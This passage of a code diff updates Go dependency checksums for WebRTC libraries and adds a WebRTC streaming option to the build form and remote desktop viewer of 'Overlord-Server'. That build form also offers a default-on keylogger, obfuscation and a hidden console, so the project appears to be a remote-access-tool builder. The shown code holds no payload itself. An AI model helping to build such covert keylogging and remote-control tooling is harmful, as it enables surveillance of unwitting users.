h1:1Jx3FwDoxpRaTh1oRV8A/6G1BnFL+QI82eK4ms8EEJQ= +github.com/pion/stun/v3 v3.0.0 h1:4h1gwhWLWuZWOJIJR9s2ferRO+W3zA/b6ijOI6mKzUw= +github.com/pion/stun/v3 v3.0.0/go.mod h1:HvCN8txt8mwi4FBvS3EmDghW6aQJ24T+y+1TKjB5jyU= +github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0= +github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo= +github.com/pion/turn/v4 v4.0.0 h1:qxplo3Rxa9Yg1xXDxxH8xaqcyGUtbHYw4QSCvmFWvhM= +github.com/pion/turn/v4 v4.0.0/go.mod h1:MuPDkm15nYSklKpN8vWJ9W2M0PlyQZqYt1McGuxG7mA= +github.com/pion/webrtc/v4 v4.0.7 h1:aeq78uVnFZd2umXW0O9A2VFQYuS7+BZxWetQvSp2jPo= +github.com/pion/webrtc/v4 v4.0.7/go.mod h1:oFVBBVSHU3vAEwSgnk3BuKCwAUwpDwQhko1EDwyZWbU= github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0= github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU= +github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA= golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= +golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo= +golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y= golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q= diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 40f466b..5dedae8 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -126,6 +126,7 @@ function collectFormSettings() { disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, + enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, @@ -180,6 +181,7 @@ function applyFormSettings(settings) { if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); + if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); @@ -1379,6 +1381,7 @@ form?.addEventListener("submit", async (e) => { hideConsole, noPrinting, disableKeylogger: !enableKeylogger, + enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, outputName: outputNameVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, garbleTiny: obfuscate ? garbleTiny : undefined, diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 5ff72d9..a2c02d4 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -1,5 +1,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; +import { WhepClient } from "./whep.js"; +import { P2PClient } from "./webrtc-p2p.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -46,6 +48,14 @@ import { checkFeatureAccess } from "./feature-gate.js"; const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const audioCtrl = document.getElementById("audioCtrl"); + const webrtcMode = document.getElementById("webrtcMode"); + const webrtcVideo = document.getElementById("webrtcVideo"); + let whepClient = null; + let p2pClient = null; + let webrtcActive = false; + function getWebrtcMode() { + return webrtcMode ? String(webrtcMode.value || "off") : "off"; + } ws.binaryType = "arraybuffer"; let activeClientId = clientId; @@ -561,6 +571,113 @@ import { checkFeatureAccess } from "./feature-gate.js"; ws.send(encodeMsgpack(msg)); } + function setWebrtcViewActive(active) { + webrtcActive = !!active; + if (canvas) canvas.style.display = active ? "none" : "block"; + if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none"; + } + + function onWebrtcState(label, s) { + console.debug(`webrtc[${label}]: state`, s); + if (s === "connected") { + setStreamState("streaming", `Streaming (${label})`); + } else if (s === "failed" || s === "disconnected") { + setWebrtcViewActive(false); + } + } + + // The canvas path counts WS frames via markFrameReceived + updateFpsDisplay. + // WebRTC bypasses WS entirely, so we tap the